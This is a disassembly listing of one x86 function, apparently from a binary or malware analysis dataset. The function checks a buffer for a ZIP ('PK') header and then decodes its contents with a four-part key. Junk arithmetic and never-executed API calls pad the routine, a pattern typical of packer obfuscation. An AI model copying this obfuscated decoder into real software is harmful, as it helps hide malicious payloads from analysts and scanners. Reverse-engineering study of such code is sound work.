Function at 0x1000b5ca
Capabilities:
Allocate thread local storage
Connect pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf0
push ebx
push esi
mov esi, edx
push edi
mov dword [ebp - 0x30], esi
cmp byte [esi], 0x50
jne 0x1000c0d5
cmp byte [esi + 1], 0x4b
jne 0x1000c0d5
mov dword [ebp - 0xc], 0x8f4a8fe2
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], 0x24891023
mov dword [ebp - 0xc], ebx
inc edi
jmp 0x1000b614
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x2c], 0x53b26bdd
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edi
jl 0x1000b606
mov dword [ebp - 0x2c], ebx
jmp 0x1000b68d
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], 0x5f88e10e
mov dword [ebp - 0x10], edi
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
shl eax, 2
cmp eax, 0x9ef4a042
sbb eax, eax
xor ecx, ecx
neg eax
add eax, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
test eax, eax
mov eax, dword [ebp - 0x2c]
setg cl
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 8]
setl dl
add ecx, edx
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0xfffe
setne al
sub eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xe
jg 0x1000b61e
mov al, byte [esi + 2]
mov dword [ebp - 8], 0xac64a684
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov byte [ebp - 0x13], al
mov dword [ebp - 0xc], ebx
jmp 0x1000b6c2
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x50], 0x99244325
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jl 0x1000b6b4
mov dword [ebp - 8], 0xffffffeb
jmp 0x1000b6e7
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x1000b6e4
push 0x1411
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xfffffffd
je 0x1000b6d1
mov dword [ebp - 8], 2
cmp dword [ebp - 8], ebx
jl 0x1000b82b
mov eax, 0x50cf
mov dword [ebp - 0x40], 0xe4f9dbc9
mov dword [ebp - 0x1c], 0xdf860956
mov dword [ebp - 0xc], 0x4a938f73
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x18], 0x35ff
mov dword [ebp - 4], 0x879a2734
mov eax, dword [ebp - 8]
cmp dword [ebp + eax*4 - 0x50], ebx
je 0x1000b741
mov esi, edi
cmp dword [ebp - 0x50], ebx
jne 0x1000b743
mov esi, ebx
inc dword [ebp - 0x70]
xor edx, edx
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x50]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x4c]
imul ecx, eax, 0xac8e
mov eax, dword [ebp - 0x60]
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, 0xe425
setg al
xor edx, edx
cmp eax, 0xd55c
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp edx, eax
sete cl
cmp ecx, dword [ebp - 0x48]
jne 0x1000b794
mov ecx, ebx
cmp dword [ebp - 0xc], ebx
je 0x1000b796
mov ecx, edi
mov eax, dword [ebp - 8]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x50]
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp eax, ecx
sbb eax, eax
inc eax
shl eax, 3
test eax, eax
je 0x1000b7c3
mov eax, edi
cmp dword [ebp - 0x70], ebx
jne 0x1000b7c5
mov eax, ebx
imul eax, esi
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ebx
mov byte [ebp - 0x11], bl
je 0x1000b7ea
cmp byte [ebp - 0x11], bl
je 0x1000b81a
push ebx
push ebx
push 0x1595
push ebx
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
jmp 0x1000b81a
cmp byte [ebp - 0x11], bl
je 0x1000b81a
push ebx
push 0x1aac
push ebx
push ebx
push 0x1f4a
push 0x2573
push 0x92a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
dec dword [ebp - 8]
mov eax, 0x50cf
jns 0x1000b702
mov esi, dword [ebp - 0x30]
mov al, byte [esi + 3]
mov dword [ebp - 0xc], 0x46dd
mov dword [ebp - 0x10], 9
mov dword [ebp - 8], 0x4be3d0e7
mov dword [ebp - 0x18], 0x8faa83fb
mov dword [ebp - 0x1c], edi
mov byte [ebp - 0x12], al
mov dword [ebp - 4], ebx
jmp 0x1000b866
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x84], 0xfffffffe
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x1000b855
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x10]
jg 0x1000b87b
mov edx, ebx
cmp dword [ebp - 0x10], ebx
je 0x1000b87d
mov edx, edi
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
setge cl
sub ecx, dword [ebp - 0x10]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0xbebf
jge 0x1000b89a
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
xor edx, edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
setne dl
add edx, 0xe72c34c4
neg edx
sbb edx, edx
inc edx
cmp edx, 0x9fe9
jne 0x1000b8c3
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
test eax, eax
mov dword [ebp - 0x7c], eax
setne cl
xor eax, eax
cmp ecx, 0x5ad3
sete al
cmp eax, dword [ebp - 8]
jg 0x1000b8f3
mov ecx, ebx
cmp dword [ebp - 8], ebx
je 0x1000b8f5
mov ecx, edi
mov eax, dword [ebp - 0x18]
imul eax, ecx
cmp eax, 0x2c21
jge 0x1000b968
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x1000b912
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 2
mov dword [ebp - 8], ebx
pop esi
jmp 0x1000b961
mov dword [ebp - 0x10], ebx
jmp 0x1000b94f
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x84], ecx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x1000b94c
push 0x1562
push 0xce2
push ebx
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jle 0x1000b91f
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x84]
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jle 0x1000b91a
jmp 0x1000b99f
mov dword [ebp - 0x18], 0xfffffff9
mov dword [ebp - 0xc], ebx
jmp 0x1000b993
mov dword [ebp - 0x18], 0xfffffff9
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x1000b990
push ebx
call dword [sym.imp.GDI32.dll_CreateBitmapIndirect]
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x37
jg 0x1000b974
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
movzx esi, byte [ebp - 0x13]
add esi, 4
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], esi
jmp 0x1000b9bc
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x28], 0xffffffff
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x1000b9ae
mov dword [ebp - 8], ebx
jmp 0x1000b9d3
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xc4], edi
inc dword [ebp - 8]
cmp dword [ebp - 8], 3
jl 0x1000b9c6
mov dword [ebp - 0x28], ebx
jmp 0x1000ba6a
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 4], ebx
mov dword [ebp - 0x18], 0xfffffffd
mov eax, dword [ebp - 0xc]
imul eax, dword [ebp - 0xc], 0x1511ebc0
sub eax, 0xfff7
neg eax
sbb eax, eax
add eax, 0xffff0002
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0xc]
sub eax, 0x3a6c3797
cmp eax, 0xfffc
ja 0x1000ba21
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
xor edx, edx
cmp eax, 0xfffffff9
setge dl
xor ecx, ecx
add edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x28]
cmp edx, eax
setl cl
mov dword [ebp - 4], ecx
xor ecx, ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0xc0], edx
mov eax, dword [ebp - 0x28]
cmp eax, 0x59951ea6
setg cl
xor eax, eax
cmp ecx, edx
setg al
add eax, 5
jne 0x1000ba61
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x16
jl 0x1000b9e1
mov eax, dword [ebp - 0x30]
mov dword [ebp - 8], edi
add eax, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c], 0x498d
dec dword [ebp - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ebx
je 0x1000bb11
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], ebx
jmp 0x1000bab7
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x58], 0xc3a23fe5
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jl 0x1000baa9
cmp dword [ebp - 0xc], 0xf34bdac8
sbb eax, eax
inc eax
sub eax, 0x3628c20e
je 0x1000bad0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], edi
mov esi, dword [ebp - 8]
mov dword [ebp - 0x58], esi
mov eax, dword [ebp - 0xc]
cmp eax, edi
setg cl
xor edx, edx
cmp ecx, 0x6ddcd166
setg dl
xor eax, eax
cmp esi, edx
setg al
cmp dword [ebp - 4], eax
jge 0x1000bb07
mov eax, edi
cmp dword [ebp - 4], ebx
jne 0x1000bb09
mov eax, ebx
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
jmp 0x1000bb24
mov byte [ebp - 0x13], bl
cmp byte [ebp - 0x13], bl
je 0x1000bb24
push 0x254d
call dword [sym.imp.USER32.dll_GetSysColor]
mov dword [ebp - 0xc], 0xffffffff
add esi, 0x18
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
jmp 0x1000bb47
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xe4], 0x7786
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x1000bb36
mov dword [ebp - 0xc], ebx
jmp 0x1000bbad
mov dword [ebp - 8], 7
xor edx, edx
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xe4], 0x8f0d
imul ecx, dword [ebp - 8], 0x8f0e
mov eax, dword [ebp - 8]
cmp ecx, eax
setge dl
xor ecx, ecx
add edx, dword [ebp - 8]
cmp edx, 0x95a
setge cl
xor eax, eax
imul ecx, dword [ebp - 8]
test ecx, ecx
sets al
xor ecx, ecx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
test eax, eax
sets cl
mov dword [ebp - 0x1c], ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jle 0x1000bb52
movzx eax, byte [ebp - 0x12]
add esi, eax
mov dword [ebp - 4], ebx
jmp 0x1000bbcc
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x44], 3
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jl 0x1000bbbe
cmp dword [ebp - 0x44], ebx
je 0x1000bc4c
mov dword [ebp - 8], 0xffffffff
mov eax, 0x88e1b61b
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 8], ebx
jmp 0x1000bc19
mov byte [ebp - 0x12], bl
cmp byte [ebp - 0x12], bl
je 0x1000bc0d
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xa8], edi
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jle 0x1000bbff
mov dword [ebp - 8], ebx
jmp 0x1000bc45
mov byte [ebp - 0x12], bl
cmp byte [ebp - 0x12], bl
je 0x1000bc42
push 0x126a
push 0xdc2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jle 0x1000bc23
jmp 0x1000bc68
mov byte [ebp - 0x12], bl
cmp byte [ebp - 0x12], bl
je 0x1000bc68
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x14]
mov edx, dword [eax]
call fcn.1000b5be
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 4], 0x1e87df2f
mov dword [ebp - 4], 0xfffffffa
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 4], 0x1fc3eee2
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 4], 6
add eax, esi
mov dword [ebp - 4], 0xb4b13281
push 3
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x40], eax
mov dword [ebp - 4], ebx
pop ecx
jmp 0x1000bcd0
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xf0], 0x32a831d2
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x1000bcbf
inc dword [ebp - 0xc]
mov dword [ebp - 0xc], 7
mov dword [ebp - 4], 0xc5a3d7f1
mov dword [ebp - 0x10], 0xee49
mov dword [ebp - 8], 0x6aed1d25
mov dword [ebp - 4], 0x51dd2e9
mov dword [ebp - 4], 0xad7494df
mov dword [ebp - 4], ebx
jmp 0x1000bd14
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xb8], edi
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x1000bd07
mov byte [ebp - 0x12], bl
cmp byte [ebp - 0x12], bl
je 0x1000bd2f
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
mov dword [ebp - 0xb0], ebx
xor ecx, ecx
mov eax, dword [ebp - 0xc]
test eax, eax
mov esi, dword [ebp - 0x1c]
sets cl
mov dword [ebp - 4], ecx
xor ecx, ecx
mov eax, dword [ebp - 4]
cmp eax, 0x4132
mov eax, dword [ebp - 8]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp + 8]
push 3
setne dl
sub edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 4], edx
mov dword [eax], esi
mov dword [ebp - 0x10], 0x6ce125d1
mov dword [ebp - 0xc], 0x5a42069
mov dword [ebp - 8], ebx
pop ecx
jmp 0x1000bd8a
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x3c], edi
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x1000bd80
mov dword [ebp - 8], ebx
jmp 0x1000bda1
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xd4], edi
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x1000bd94
mov dword [ebp - 0x10], ebx
jmp 0x1000bdba
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3c], 0xf251d69f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1000bdac
push 2
mov dword [ebp - 0x10], ebx
pop edx
cmp dword [ebp - 0x10], edx
jg 0x1000bf40
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x3c], ebx
je 0x1000be40
mov dword [ebp - 0xc], 0xe9fb
mov dword [ebp - 4], ebx
jmp 0x1000bdf4
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x54], 0x818264d9
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jl 0x1000bde6
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x3c], ebx
je 0x1000be05
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x3c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x3c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x3c]
cmp dword [ebp - 0x34], eax
jge 0x1000be28
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
cmp eax, 0x7d437f1b
setg cl
mov dword [ebp - 0x54], ecx
jmp 0x1000bebf
mov dword [ebp - 0xc], 0xc3e5f88
mov dword [ebp - 4], ebx
jmp 0x1000be5d
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x8c], 0x9025b0d6
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x1000be4c
cmp dword [ebp - 0xc], ebx
jne 0x1000be85
mov eax, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x3c]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setge dl
mov dword [ebp - 0xc], edx
mov edx, ebx
cmp dword [ebp - 0xc], ebx
je 0x1000be87
mov edx, edi
mov eax, dword [ebp - 0x10]
xor ecx, ecx
push 0
mov eax, dword [ebp + eax*4 - 0x3c]
cmp edx, eax
setge cl
sub ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x8c]
neg ecx
sbb ecx, ecx
inc ecx
pop ecx
setns cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x88]
push 2
setl dl
imul eax, edx
pop edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xc], ebx
jmp 0x1000bf2c
mov dword [ebp - 4], 0x1cd05094
mov dword [ebp - 4], edx
xor edx, edx
mov dword [ebp - 4], 0x2e525b78
mov eax, dword [ebp - 0x10]
push 2
mov ecx, dword [ebp + eax*4 - 0x3c]
test ecx, ecx
mov eax, dword [ebp - 0x10]
setne dl
mov dword [ebp + eax*4 - 0x3c], ecx
xor ecx, ecx
mov esi, dword [ebp - 0xc]
mov dword [ebp - 0xd0], esi
mov eax, dword [ebp - 8]
cmp edx, eax
mov eax, dword [ebp - 0x10]
setl cl
sub eax, ecx
xor ecx, ecx
cmp eax, 0x7283
mov eax, dword [ebp - 4]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 4]
setle dl
xor ecx, ecx
cmp edx, eax
pop edx
setg cl
imul ecx, esi
mov dword [ebp - 4], ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edx
jle 0x1000bec4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jle 0x1000bdce
mov esi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
shr esi, 2
inc esi
mov eax, dword [ecx]
mov dword [ebp - 0x9c], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x98], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x94], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x90], eax
mov dword [ebp - 8], 0xd3f5047c
mov dword [ebp - 4], 0xfffffffc
mov dword [ebp - 0xc], 0xb243e5ec
mov dword [ebp - 0xc], 0xe289
mov dword [ebp - 0x10], 0xc5c6a81d
mov dword [ebp - 0x18], 0x898a8014
mov dword [ebp - 4], ebx
jmp 0x1000bfa7
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x24], 0x56915a13
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x1000bf99
cmp dword [ebp - 0x24], ebx
jne 0x1000c04c
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setne dl
xor eax, eax
cmp edx, 0x6a37d7c8
mov edx, dword [ebp - 0x24]
setge al
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x20]
cmp edx, eax
sete cl
xor edx, edx
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 4]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setl dl
sub eax, 0x8217c712
add eax, edx
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
test eax, eax
mov eax, dword [ebp - 8]
setg cl
xor edx, edx
sub eax, ecx
cmp eax, 0xfffffffa
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x24]
je 0x1000c03b
cmp dword [ebp - 8], ebx
jne 0x1000c03b
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 0x24], 0x37b1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], ebx
jne 0x1000c04c
mov edi, ebx
mov dword [ebp - 0x10], edi
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
inc edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
add ecx, 0x4bab92a1
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x20], ebx
je 0x1000c094
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0xc], eax
test esi, esi
je 0x1000c0da
mov edi, dword [ebp - 0x40]
sub dword [ebp - 0x30], edi
mov ecx, dword [edi]
mov edx, ebx
and edx, 3
mov edx, dword [ebp + edx*4 - 0x9c]
call fcn.1000b5be
mov ecx, dword [ebp - 0x30]
inc ebx
mov dword [ecx + edi], eax
lea edi, [edi + 4]
cmp ebx, esi
jb 0x1000c0b2
jmp 0x1000c0da
mov eax, dword [ebp + 8]
mov dword [eax], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret